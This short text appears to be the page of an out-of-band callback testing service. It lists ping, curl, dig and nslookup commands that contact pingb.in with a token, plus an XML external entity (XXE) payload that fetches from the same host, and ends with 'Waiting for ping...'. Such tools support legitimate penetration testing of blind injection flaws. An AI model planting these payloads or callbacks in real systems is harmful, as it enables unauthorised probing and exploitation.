$ ping -c1 -p 0043a70d5865ac64e78a7bc3cf731d00 pingb.in
 
$ curl pingb.in/p/43a70d5865ac64e78a7bc3cf731d
 
$ dig 43a70d5865ac64e78a7bc3cf731d @pingb.in
 
$ dig 43a70d5865ac64e78a7bc3cf731d.ns.pingb.in
 
C:\> nslookup 43a70d5865ac64e78a7bc3cf731d pingb.in
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/43a70d5865ac64e78a7bc3cf731d">]>
    <foo>&xxe;</foo>
Waiting for ping...